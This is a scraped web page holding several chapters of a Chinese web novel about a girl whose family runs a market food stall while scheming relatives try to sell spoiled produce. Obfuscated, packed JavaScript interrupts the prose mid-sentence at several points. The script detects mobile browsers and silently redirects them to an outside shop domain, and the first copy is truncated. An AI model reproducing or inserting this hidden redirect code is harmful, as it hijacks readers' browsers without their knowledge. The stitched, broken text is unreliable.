l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14615452|156148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到她了,都以为她才有七八岁。 “什么?你已经十二岁了。”裴祝锦很惊讶。 裴时玖也睁大了眼睛:“那你也太矮小了吧。” “没事,过两三年我就长高了。”乔镰儿淡定说。 她要把这些年来该长的身高都补回来。 而且她发现,确认她真的是十二岁,这两兄弟看她的眼神,不是那么的像看一个小孩子了。 “好,等过个两三年,我要看看小丫头会变成什么样子,会不会真的长高。”裴时玖一双黑曜石般的眸子亮闪闪的,带着一抹促狭。 “要是还这么矮小,我可要尽情嘲笑一番。” 乔镰儿眼睛望天:“不可能让你有这个机会。” “要是我真的长高了,有的人还像昨早一样倒立走。” 裴时玖感到双手又在隐隐作痛。 “两三年怎么也会长高一点吧,这样对我不公平,你得长到同龄人的平均高度才算数 。” “好啊。”乔镰儿却是很笃定地回答。 现在每天吃饱喝足睡眠好,晚上睡觉她有时候会感到骨头在发痒,嗯,应该是在长高高。 两兄弟在这里吃了一碟一碟的花生,一盘一盘的炸土豆,又叫仆从买来了酒。 他们跟乔镰儿天南海北地聊,从北聊到南,从西聊到东,聊到大城的盛况,聊到乡野,又聊到一些风景好的名胜之地。 他们发现,不管说什么,这个丫头都接得上话,还能说出一些令人耳目一新的道理和看法,颇有聊头。 宋家人看在眼里,陈氏就对宋老太说:“娘,你看看乔镰儿那丫头是不是捡到高枝了,那两个公子一看就知道身份不简单,他们带了仆从,马车虽然不张扬醒目,但也是用名贵的木材做成,那匹马看起来比大红还要贵呢。” 宋老太一脸的不屑:“真是不要脸,还有三年才及笄,这就想着攀附男人了。” “娘,你看到两位公子,一个十五六岁,一个十二三岁,年龄配咱们宋家的两个丫头正好合适,要不这就把他们留下?”陈氏打着如意算盘。 第174章 遭到嫌弃,通通架走 宋老太一听,心里亮堂了一下。 是啊,她怎么没有想到呢?宋大花十五岁,宋小花十四岁,平时可千万不敢想着攀附有钱富贵人家的公子,可是现在看到这种贵公子和乔镰儿打成一片,就让宋老太觉得,她的两个孙女也行。 是的,乔镰儿十二岁了,瘦瘦矮矮的一个,人家都不嫌弃,还会嫌弃亭亭玉立的宋大花和宋小花吗? 这种事情,有搞头。 真要看上宋大花宋小花了,一个一千两的彩礼应该要得到。 到时候,宋家岂不是发了? “你们两个过来。”宋老太对正在剥花生剥玉米的宋大花宋小花招呼道。 两姐妹过来了。 “你们看到那边两个公子没有,养得细皮嫩肉,一看就知道从来没有摸过活儿,是大户人家来的,不知道有多少家产。” 宋大花和宋小花就盯着裴祝锦和裴时玖瞧,一个身形若柳,丰神俊逸,五官之间都是柔和。 一个还是半大孩子的模样,可眉目更是精致绝伦,一双黑眸曜灼灼的分外吸引人,不知道长大了,会是怎样的极致俊美。 两姐妹一下子心动了。 她们本来以为,沈良已经是她们看到的最好看的男子了,就连在县城,也很难找到比他模样更好的,可是他在这两人面前却是相形见绌,就连十分之一都比不上。 而且这两人,一看就知道很有钱,怕是三辈子都花不完的那种。 真要攀附上这两人了,她们还用辛辛苦苦坐在这里,挑拣那些好的食材吗?手都要秃噜皮了。 两姐妹一对视,就朝这边走了过来。 “别空着手去。”陈氏用刚挑选出来的花生炸了一盘,也学着八号摊位裹了一点盐巴。 “端过去。” “为了你们的以后,都给我拿出浑身解数来。” 两人端着炸花生,来到了八号摊位的小桌子旁。 宋大花调整了一下脸上的笑容,把别到耳朵后面的一缕头发给撩下来。 “大哥,这是我们六号摊刚做出来的小吃,免费给你们尝尝。” 一边说着,两姐妹一边拖了凳子坐下,一人坐在一个的身边。 这两个陌生人没有经过询问,就这样贸然坐下,两兄弟的脸色就有些不高兴了。 “就不必了,我们这里有吃的。”裴祝锦礼貌地说,一边把被宋大花碰到的衣角不动声色地扯了过来。 “这是我们的一份心意,大哥你就尝尝吧,我们六号摊位的小吃也不错的,看着大哥合眼缘,不会跟你要钱。”宋大花笑得很甜,直勾勾地看着裴祝锦。 真是好看啊,皮肤像白瓷一样,睫毛又长又密,双眼像清泓,唇红齿皓的,比姑娘家还好看。 裴祝锦被她这样盯得不自在,语气也有些不客气:“不必,你端走吧。” “大哥,你这样说我会难过的,而且我们也不是外人,镰儿是我的堂妹,我们是一家子,她的朋友就是我的朋友嘛。”宋大花带着委屈说。 裴时玖干脆往另一边挪了挪凳子。 真是的,一来就叭叭唧唧的,聊天聊得好好的,就这样被扫了兴。 管她是不是小丫头的亲戚,这样的脾性,让人看着心烦。 想不到他这一挪,宋小花也跟着挪了过来。 “麻烦这位姑娘离我远一点。”裴时玖的声音脆生生的,也冷冰冰的,身上散发出一种慑人的威严,和稚嫩的小脸完全不相称。 乔镰儿看到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14615453|156148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的两个朋友被宋大花和宋小花这样骚扰,不由得一阵厌恶。 再这样,两人就该气走了。 对阿大他们使了一个眼色。 阿大他们立刻跑过来,两人按一边胳膊把二人按走。 他们看到刚才两姐妹端着花生走过来,以为是拿到街上去给人免费品尝,就没有管,没想到她们就在这里坐下了。 两个人挣扎着,一边骂骂咧咧,可是根本就反抗不过。 到了六号摊位,孩子们几乎是连放带扔的,把两人扔回去。 又挡在那里,不让她们再冲过来。 “实在是抱歉,我那两个堂姐不像话。”乔镰儿摇头。 “没关系,你是你,他们是她们。”裴祝锦脸色又恢复了常态。 而且他看得出来,乔家人和六号摊位那一家子,脸色相互不对付,又根据观察了解到,小丫头应该是随母回到了母家,跟母家一起过日子。 看来那家子,乔姑娘自己也是受不了的。 他们喝着酒,吃着花生,过了中午,又到了下午。 兄弟俩这才告辞离去,面容泛着微醺的红,在夕阳的余晖中,兄弟俩脸上的笑容显得有些朦胧,不真实却又诚挚,他们对乔镰儿挥手,然后踏上了马车。 马车远去,驶出了街口,不见了。 乔镰儿有些不舍,她来到这个世界,这还是第一次有交朋友的感觉。 虽然,她跟两人说那么多话,也是想要更多地知道京城和北方的事情,但她也是很诚恳的。 “镰儿,他们是谁呀?”这个时候,乔云妮才问,前面乔镰儿和两人说话,乔家人都没有打搅。 这章没有结束 ,请点击下一页继续阅读! 第175章 想要以次充好?再被打脸 小饭馆的老板跟摆摊的没什么区别,都是做小本经营的,甚至房租还要更贵。 所以,要他们一下子买数量那么多的食材,他们还是有压力。 最多买几斤十来斤回去。 如果低价卖给他们呢,这里可是有两千多斤啊。 宋老太一听觉得可行。 “行,把那些好一点的放在上面,把好的一面朝着上头。” 量大管饱,这些全部卖出去的话,也是值不少银子的。 卖完了,今晚再想办法摸到那些好食材藏到哪里。 宋家人纷纷行动起来,乔家人看到他们把土豆好的那一面朝着袋子口,就知道他们要做什么了。 “真是丧尽天良,不干人事啊。”乔老二皱眉。 “不过开酒楼饭馆的,可没有那么好骗。”乔镰儿说。 她就不相信了,宋家人能骗到一分钱。 这样的招数,很多人都用烂了。 乔云妮在那里算了算:“今天赚了三十九两。” 光是辣椒,就卖了十三两。 乔家人对这样的收入已经开始习惯,开始收拾摊位回去。 今晚宋家人一定还会去找食材,但是乔镰儿决定了,昨晚还有坏掉的食材,今晚坏掉的都没有。 不能再便宜他们,也免得他们想要去骗人。 她是没有想到,宋家人居然专门把好的抠出来卖,薅了几百文钱的羊毛,还要以次充好,拿去骗钱。 一文钱都不让他们赚。 宋老大他们扛着袋子去一家饭馆推销。 这家饭馆还是有点规模,像这种有底子的,对食材的需求量也会大一点。 老板是个大婶,看到好几个人扛着一袋袋东西到了门口,还把东西放下了,就走出来问。 “你们这是做什么,东西挡到我的客人了。” “老板,和八号摊位一样的食材,土豆花生,我们只要十文钱一斤,你这里要不要。”宋老大说。 “长青街的八号摊位?” 宋大花:“是啊,我们就是跟八号摊位买的货,不过今天没有卖完,想着低价卖出去。” “你们把袋子打开,让我看看。”老板道。 宋老大打开了一个袋子,里面都是土豆,好的一面朝着外头,虽然个头小了不少吧,但看起来也还勉强过得去。 再说不管大小,切成片或者切成丝,都是一样的。 “真的只要十文钱一斤?” 这个大婶可是去八号摊位看过,土豆要二十五文钱一斤呢,都够买两斤猪瘦肉了。 “老板,你看我们家个个都是实诚人,难道还会骗你不成?”沈氏一看有戏,赶紧保证。 大婶当了这么多年老板,可不会随随便便就相信人。 买食材,她是要全部都看过,才会放心。 就吩咐饭馆子里的小二哥:“这一袋土豆都倒出来,检查一遍再装上过秤。” “哎,我说老板,你都明眼看到是好的了,又何必多此一举,你看太阳都要下坡了,我们还要回家,不想耽搁来耽搁去的。”陈氏赶紧挡住了那个小二哥。 老板脸上露出了疑惑:“这就奇怪了,我买食材我当然要好好看过一遍,看一下才用多少时间?还耽搁你们回家去了。” 又看看这家子脸上有点心虚,老板开始有点明白过来了。 “我说,你们卖的食材不会有问题吧,是把好的都放在上面了?” “胡说八道,怎么可能,我们只是想快点回家,大家都是爽快人,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14615454|156148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玩那些杂七杂八的心思。”沈氏说。 “既然要卖给我家馆子,我肯定是要全部过一眼的,买卖不都这样。” “要不然,你们拿到别家卖去。” 宋老大冷笑一声:“八文钱一斤。” 老板却完全没有心动:“有问题的食材不说八分钱一斤,一文钱三斤我都不要,我家饭馆子做了十年才有的口碑,我可不想砸了招牌。” 宋老大干脆把袋子重新扛起来:“走,不跟她废话,下一家,啰里八嗦的。” 那个大婶在后面嘲笑:“一家比一家精着呢,你们想骗人是不可能的。” 现在她已经肯定了,这家子这么怕检查,就是在以次充好。 宋家人不相信,一家一家地问,总会遇到傻瓜。 可是他们问过了四五家,那些老板都多留了一个心眼,要求把食材全倒出来看一眼,不然就不买。 宋家人逐渐没有了耐心,看着天色越来越晚,不由得又着急又烦躁。 寻到一家看起来比较破旧的饭馆子,这家饭馆子里客人比较少,到吃晚饭的时间了,才有零零星星几个客人,显得空落落的。 老板看起来心情也不好,唉声叹气的。 “长青街八号摊子的食材就那么好吃?都问有没有这种食材,没有就不来吃饭了。” “明天再去看看吧。”他自言自语。 宋老二听了眼睛一亮。 “老板,我们就有八号摊子卖的食材,而且价格便宜,只要八文钱一斤,你买了包你生意好起来。” “八块钱一斤?我可听说土豆要二十五文钱一斤,我才没有买 。”老板有点诧异。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第176章 扣下食材,免费干活 土豆哗啦啦的,全滚在了地上。 老板就看到了,土豆身上那些凹进去的,发青的,或者发黑的地方。 只不过刚才,这家人把好的那一面朝着外头,看起来不明显而已。 老板冷哼一声,又把另一个袋子的玉米倒出来,拿起一个就剥。 这才刚刚剥开,就有两个白滚滚的虫子掉下来。 又剥一个玉米,正好看到一个虫子在啃玉米粒,吃得津津有味。 老板的拳头一下子硬起来了,生意本来就不好,还遭人这样耍弄? 这是老天在故意跟他过不去吗? 一把揪住了宋老大的衣领子,脸上露出了凶神恶煞。 “敢来耍你大爷,我这饭馆生意是不景气,你们就以为好欺负?也不看看你们身上的皮肉禁得住禁不住打。”说着就一拳打了过去。 宋老大躲闪不及,这一拳打得他头破血流。 其他宋家人见状要上去帮忙,从另外两个饭馆子里也走出来两个男人,其中一个手上还拿着杀鱼的菜刀。 “敢欺负我家兄弟,谁借你们的胆子?还从来没有人敢到我们三兄弟饭馆前卖这种垃圾食材。” “不知天高地厚的玩意儿,既然上门来耍弄人,就不要想轻易离开。” 宋老二,宋大明,宋小明也是被按住一顿打。 沈氏她们想要跑,也被这几个老板的媳妇按住,哇哇抽着嘴巴子。 最后这些人打累了,气喘吁吁停了,宋家人松了一口气,终于可以离开了。 结果第一家的老板说:“既然你们上门来送食材,这些食材就是我们三兄弟的,你们就负责坐在这里,把那些好的食材挑出来。” 老三说:“大哥,他们家在六号摊位,那里堆着好多食材呢。” “都去搬过来,他们完全处理好了,才放他们离开。” 陈氏听了,按着一边流血的嘴角大叫:“不可能,天快要黑了,我们还要回家,想让我们留下来给你们干活,想得美。” 宋老二抱着被踹得绞痛的肚子,抗议:“这些食材都是我们家的,我们是拿来卖的,虽然质量差一点,但你们不该以这个理由为借口,占有我们全部的食材,不然这和抢有啥区别?” “那我这就去报官,说你们以次充好,卖这些吃了能毒死人的玩意儿,把你们全家老的小的都抓进去。” 宋家人一听,脸色都变了。 这种事情说大可大,说小可小,真的去县衙门里纠缠起来,那他们讨不到好果子吃。 宋老婆子和宋小花正在六号摊位守着那些食材,就看到几个身强力壮的男人过来,一言不合地搬那些食材。 “奶奶,肯定都卖出去了,太好了。”宋小花很高兴。 然后她问一个搬食材的伙计:“大哥,是不是这些食材都要了?” “是啊,全都要了,你们也跟着过去吧。” 老婆子虽然老了,但是身子骨不错,也是能干活的。 宋老太喜笑颜开:“好好,走,小花,咱俩一起抬一袋。” 全部食材都要,说明没有发现问题,她表现得积极一点,卖点人情,这一桩买卖也会更加顺利。 两人抬着一袋土豆跟着这些伙计到了饭馆子门前,就看到宋老大他们被打得鼻青脸肿。 而他们就坐在脏秽的地上,把土豆那些好的部分给削在一个大盆里,花生和玉米也挑好的果实弄出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14615455|156148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,一个个脸上苦兮兮,敢怒不敢言。 “这是咋了。”宋老太惊了一跳。 宋小花也是觉得不对劲,转头想要跑,就立刻被人按住。 “哼,你们家人敢拿这些残次品到我的饭馆子门口卖,这是给你们一个小小的教训,老婆子你生而不教,你也坐下来干活。” 宋老婆子哪里肯依,她还从来没有遇到过这种事情,骂骂咧咧的。 可是这里由不得她,很快一老一小也被按坐在地上,她们不肯动手,就用柳条子抽她们的手背,直到肯干活为止。 宋家人欲哭无泪,他们这是遇到黑店了,钱没赚到,搭了那么多租金进去,还要被留在这里干活。 乔家在县城买了一点东西,这会儿刚刚准备出城。 马车往这条街上绕过来,就看到宋家人坐在地上,忍气吞声在给饭馆干活,一个个被揍得很惨。 如果他们有怠慢了,就是一个柳条狠狠抽到手背上。 他们一下子明白过来了,宋家人来卖这种食材,引起饭馆的愤怒了呗。 看这样子,这些食材都要白搭进去。 大猛忍不住噗地一声笑出来:“这叫罪有应得。” 大用说:“这么多的活儿,两千多斤呢,起码要连夜不停地忙到明天。” 乔云妮算:“他们那个摊位要十两银子的租金,今天就把口碑全败坏了,要收回这个成本难咯。” 乔镰儿只是瞥了一眼,就收回了目光。 不是她不想笑,她正赶着马车呢,怕一笑一个走神,马车走歪了。 “你好,你们是要回去吗?往宁县的方向。” 这章没有结束,请点击下一页继续阅读! 第177章 放弃,不跟大哥抢媳妇 终于有机会问姑娘家在哪里了,大用心情激动,表面不动声色,实际上满心期待。 而乔镰儿坐在前面,听到这样的话,往上看了看天,她有说过要送人到村口吗?大用哥自作主张。 “我们就住在凌家村,从大路路口经过一段三里的小路就是了,也没有多远。”秋氏道。 “那你们村子里,是有很多户姓凌的人家?”万氏问。 “是呢,大半以上的人家都姓凌。” 大用在马车上找来找去,找到了一包糖和饼子。 抓了一把给秋氏,又抓了一把给凌音,然后又抓给凌晓。 看乔家人这样大方,三人都有点不好意思。 “拿着吧,我们天天买,也吃不完。”吕氏温和笑道。 秋氏吃了一块饼子就舍不得吃,家里还有两个孩子呢,老三是姐姐,老四是弟弟。 家里也很少舍得买这些零嘴,孩子们一年到头望眼欲穿,现在得了一大把,正好满足一下孩子们的口福。 凌音和凌晓吃了两颗糖,眼睛里升起了异常的光亮,但也舍不得再吃了,拿到家里攒着,慢慢吃。 大用心里面升起一种念头,如果能够娶到这个姑娘,他天天给她吃好吃的。 大成见大用的目光时不时扫过凌音,灼热的,怜惜的,又看前面大哥做得这样周到,他的心沉了沉。 大哥也喜欢凌音,而且比他更用心。 大哥做的这些,送到家门口,拿出吃的,他想都没有想到,顿时,一种羞愧的感觉从心中升起。 就是粗手粗脚的男人,大哥却能这样细致,他现在还不配去喜欢一个女孩子。 好,大哥喜欢,那他就成全大哥,不给大哥添麻烦,不让大哥有压力,让大哥放心地去追求心怡的女孩子。 也不让人家姑娘难做。 大成有点难过,看着窗外的风景,久久没有说话。 第一次见到凌音,他也是魂牵梦绕,梦见她好几次,白天也在挂念着。 可是等到再见,他才发现,他连怎么表达对一个人的好都不知道。 好在,这只是开始,他只是有些心动,长痛不如短痛,及早斩断了念头,过些天就没事了。 “哥哥,你心情不好吗?哥哥吃糖。”凌晓剥了一颗糖,递到大成的嘴边。 看到小孩子明媚的笑容,大成的心情也明朗了几分,他笑了起来。 “哥哥心情好得很,小弟弟你吃吧。”接过那一颗糖,塞到了凌晓的嘴里。 “前方那一个路口,就是通往我们村子的岔路。”凌音给大家指路。 “天还没有黑呢,我们走路回去就可以了。” “不行,没有黑但天色也晚了,你们两个女人加一个小孩子,走在路上不太放心,还是要送到村口。”大用坚决道。 “是啊,就那么一段路,马车很快的,也不耽搁我们。”乔云妮道:“以后大家都是相识的人了,不用这么客气。” 她看得出来,大用对这个叫凌音的姑娘很上心,既然如此,那就去看一眼那个村子吧。 其他人也赶紧安慰母子三个,倒让她们不好意思再说什么了。 到了岔路口的时候,乔镰儿把马车往那里赶去,道路一下子狭窄许多,但是也足够容纳一辆马车经过。 三里路,也不过是一公里半,还是很快的。 可是大用希望慢一点,再慢一点,不知道什么时候,才能和凌音姑娘同乘一辆马车呢。 “镰儿妹妹,你悠着点,不要颠到凌婶子她们三个了。” 乔镰儿嘴角抽了抽,明明是不想那么快分别,偏要怪她把马车赶快了,大堂哥这点小心思,以为她看不懂呢。 乔老二和乔老三也是明白,看这家伙八成是对人家姑娘上心了。 以前要说给儿子们娶媳妇,他们会老脸羞红转到一边去,这种破落,吃了上顿担忧下顿的家,让姑娘进门不是委屈了人家吗? 可是现在,家里不一样了,姑娘进了家门,顿顿有肉吃,有好衣服穿。 而这个姑娘的确不错,看着秋氏也是一个实诚好相处的,大用中意凌音,他们都是支持的。 马车转了两个弯去,村落遥遥在望。 凌家村 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14615456|156148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坐落在一个大盆地上,四面是丘陵,沟渠细河发达,田野阡陌纵横,放眼望去一大片即将丰收的绿黄夹杂,被最后一点晚暮霞光笼罩着,有一种静谧安详的感觉,稻香一阵阵飘过来,沁人心脾。 看起来,这个村子有百来户人家,规模还是挺大的。 眼看着就要到了村路口,大用找来了一个布袋子,把那些糖和饼子倒了一半进去。 然后放到凌音手挎着的那个篮子里。 “这个你们拿回去吃。” “哎呀,这咋可以,快拿回去,刚才已经给我们这么多了。”凌音虽然爱吃零嘴,但也知道,不能拿人家太多。 “拿着吧,一点小零嘴而已,我们家里人也不太爱吃,放久了就过期了。” 大用说这话有点不自然。 大猛小猛他们也是一脸的无语,谁不爱吃零嘴呀,他们从小到大,还是这个月才实现了零嘴自由。 大哥为 了追求人家姑娘,是一点章法都不顾了。 凌音见他坚决,也只能收下,但她不会白白收的。 马车在村路口停下,一家三口下了马车。 秋氏摸出铜板要给钱,乔家人坚决不要。 “谢谢你们,太谢谢了,去家里吃晚饭吧,再过一宿,明早再回去。”秋氏握着万氏和吕氏的手,她们今天差点回不来。 要在县上住一宿,住宿费很贵的。 现在不但回来了,还不要钱。 “不了妹子,家里也做好了饭菜在等我们呢,况且我们是做生意的,在你们这里过夜,明早不好准备呀。”万氏拍拍她的手背。 “把你们送到这里,我们也就放心了,天有点黑了,你们小心点走。” 好好一顿告别,大家才分开。 凌音下意识看了大用一眼,发现大用也在看着她,眼里一片温柔。 她的心一乱,挎着篮子加快脚步走了。 乔镰儿调转马车,大猛要赶车,她就把缰绳交给他。 “大用,你就跟二叔说,是不是想娶凌家这姑娘?”乔老二的手在大用肩头上一拍。 第178章 教家人学写字认字 大用一听脸红了,只不过夜幕是淡淡的黑,看不太清楚。 “二叔,你说啥呢,就送他们母子三个到村路口,这是我们应该做的,不然搭人家一程,到岔路口就把人下了,万一她们遇到一点啥,我们会于心不安的。” 大用赶紧解释。 “大哥你就狡辩吧,那天在山路上,你就看上人家姑娘了。”大成笑了笑,已经是一脸的坦然。 哪怕心里面有不舍,可他已经决定放下。 “小子,你不要不承认,这姑娘也到了说婚论嫁的年纪,如果你不认,被人问走了,你咋办。”乔老三笑道。 “是啊大用,你就说你有没有这个心愿,你有的话,家里才好给你准备。”乔云妮道。 大用低了低头,他梳理了一下自己的心绪,才发现心头越来越坚定。 “我是觉得凌音姑娘不错,不过我打算,等房子盖起来了,再说这件事。” “这个还用担心,再卖两天,盖个大院子完全没问题。”乔老二哈哈大笑:“到时候,咱们乔家就去跟凌家问亲,成全你们两个小年轻的好事。” “等到你成了亲,就是大成,就是溪儿,岁月不饶人呐,我们也是要当爷爷奶奶的人喽。” 想着二老健在,孩子们也大了,就要四世同堂,日子也过得越来越好,乔家人的心中都是满足。 等到家里,天已经完全黑下来,饭菜热过了一道,重新端上来,热气腾腾的,香气弥漫。 冯氏今天在家,做了红烧肉,咸烧白,都是肥瘦相间,红烧肉一个个红灿灿的,放到嘴里都要化了,咸烧白也是一口一个软糯下饭。 还杀了一只鸭子,做酒味鸭,鸭子还是上次从宋家抓来的,抓了十几只,到现在才吃到第三只。 啥也不多说了,直接开炫。 “今天我看到宋瑞儿去读书了,听说交了三两银子的学费。”乔老大说。 “宋家人居然会让这小子读书,不是一直不让去吗?”乔老二诧异。 “宋家人都去了县城,这小子肯定偷家里的钱和肉去给施老师交学费了。” 大家恍然,真是家贼难防啊。 不过,宋瑞儿一般不会动宋家的东西,反而想方设法为宋家效忠,想拿乔家的东西去孝敬宋家。 现在偷家里的钱去交学费,说明他是真的很想读书。 这小子一肚子坏水,但不得不承认,他的确有一个聪明的脑子,这样的人要是读上去,万一真的考上了也不一定。 “不是要二两,咋要三两。”大猛疑惑:“难道学费涨了。” 只有乔镰儿知道,施先生之所以要这么多,是因为宋瑞儿得罪人家了,说人家的学生愚蠢,当时施先生就变了脸色。 要是不肯多出一两,人家是不会收他的。 “你们个个年纪都大了,远过了启蒙的年纪,不然,家里现在有钱,也要送一两个去读书。”乔老头叹了一口气。 “老头子你叹啥,只要能够活得好过得好,不读书又咋样?人生的路不仅仅只有读书这一条。”乔老婆子反驳道:“好好吃着饭呢,别扫孩子们的兴。” 其实她也知道,一个家里出一两个读书人是好的,但孩子们的确都大了,不再适合做这个考虑,她不想让孩子们多想。 不管读不读书,都是爷奶心里的宝。 而且,乔老婆子看了一眼乔镰儿,脸上露出了几分满意:“再说,咱们家里不是有读书人,那些读书人,有几个比镰儿更厉害的。” 乔老头被乔老婆子连珠炮弹逼得不敢说话,只是低着头默默吃饭。 他就惋惜了一下,哪里想到,老婆子要往死里怼呢。 “识字总是好一点。”乔镰儿想了想说道:“这样吧,晚上的时间,我就教哥哥姐姐们识字写字。” “真的?”大家的眼睛都亮了。 乔镰儿点头:“不求学得多好,把经常用的字认全,会写信,看得懂一些简单的书,就可以了。” 大家的心情一阵激动,是的,他们这个年纪去学堂已经不现实,而且家里忙碌,是绝对不能为了自己的求知欲把家里抛下,但他们也可以识字,可以学点知识呀。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14615457|156148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 乔大用道:“晚上又是练习武打招式,又是学知识的,可充实了。” 为了学知识,大用他们就缩短了招式的练习时间,然后围着乔镰儿,看乔镰儿给他们展示笔画。 学写字,要先从一撇一捺学起,把每一个偏旁部首都练端正了,这样写出来的字才好看。 虽然一头雾水,但大家都学得很认真。 堂屋的八仙桌旁,大家围在一起,每人面前都摆了一张纸,家里有三支笔,没有笔的就用火炭跟着写画。 看到桐油灯有点暗了,乔老太过来添了油,又挑了挑灯心。 孙子孙女们学习的这一幕,特别的安宁温馨,乔老太忍不住驻足看了好一会儿。 孩子们求知若渴的眼神,又让她有点愧疚,心中也是叹一口气,进房间里去了。 今天卖到的银子已经交到公中,三十九两,乔老太将一个盒子从床头下的墙面暗格里取出来,打开,白花花的一片,有银锭子,也有银票子。 她前前后后好好数了一遍。 一共四百七十两。 暴雨季还有三天,明天就能挣够盖房子的钱,还有两天挣到的,完全可以积攒下来。 雨季一过,立刻着手盖房子,最多三个月的时间,就有大院子住了。 孙子们不能去读书,但是家里有钱了,以后曾孙可以读呢,乔老太捧着盒子,脸上露出了笑容。 乔镰儿躺在床上,收获,换金币,又扩展了一大片地,现在的二级物类,每样一天可以产出一万斤。 她又想到今天大叔和裴祝锦他们说的话,心下传来一阵不安。 “家里不要留太多的银子,不要堆太多的米粮。” 她现在恨不得高级物类马上解锁,但就算她使出浑身解数,也得需要一年,想利用空间收纳粮食和银子,是不可能的。 但是,房子要尽快盖起来,等木已成舟,银子就拿不走了。 乔镰儿一大早起来,正好乔老头也起得早,她问道:“爷,这院子扩大一倍的范围,都是咱们乔家的宅基吗?” 第179章 选料盖房 乔老头知道,盖房子的事情,也该提上议程了。 他把旱烟杆放下:“镰儿,你跟爷爷来。” 天还没有亮透,带着一层朦朦的黑,吹来的风带着一些凉意。 乔老头带着乔镰儿沿着一个圈走:“你看清楚了,爷爷走的范围就是咱们家的宅基地。” 乔镰儿看到,乔老头站的位置,在距离屋子好远处,都差不多大两倍了。 他一边走一边说:“你别看以前咱们乔家穷,宅基地可是很大的,原先我的爷爷给咱们家争取了一大块宅基地,想着就算暂时盖不起大院子,万一后面盖得起来呢,又或者说万一后代盖得起来呢。” “这等啊等,等到去世,我的爷爷没有如愿,我的父亲也没有如愿,我这一辈子快要到头了,原以为也没有希望,哪里想到,镰儿你突然开窍,给咱们这个家带来了福气啊。” 乔老头说着有些心酸,脸上却带着笑意。 乔镰儿跟着爷爷沿着那一圈线走。 西边是经过门口的路,南边挨着两户人家,其中一户就是齐家。 所以乔家的宅基地,是向北向东延伸的一大片。 跟着乔老头走了一圈,乔镰儿心中已经有数。 盖一个比现在院子大一倍的院子完全没有问题,也不用重新申请扩大宅基地。 剩下的空间,可以围起来,种一些果树花树之类的。 想想春夏花儿飘香,秋季累累果实结满枝头,乔镰儿也充满了期待。 这就是她最向往的田园生活。 有一个充满烟火味和花香果香的院子,稻田里又传来稻谷的清香,那样的美妙,无法形容。 在她来的那个世界,大学毕业后她就成为社畜,每天二十四小时待命,被当做牛马使唤来使唤去。 来到这里,她一点也不遗憾,反而感到是一种新生活的开始,不是给老板干活,而是给自己干活。 到了县城,把食材的事情安排妥当,乔镰儿就为盖房子做准备。 县城有专门的砖瓦厂,还有木料厂,以及专门的施工队。 乔镰儿去了砖瓦厂和木料厂,把普通百姓能用的最上等的砖瓦和木料预定好。砖是青砖,瓦是红瓦。琉璃瓦实在是漂亮,光彩流动,美不胜收,但是没有资格用,除非庙宇,皇家,王侯之家或者一些特定等级的官员府邸。 除了帝王木,其他的好木老百姓都能,她就要了好几种名贵木材,像楠木,黄花梨木,香樟木等。 今早出门,她跟乔老太取来一百两,先付定金,等到料子准备好开始运料的时候,再结剩下的钱。 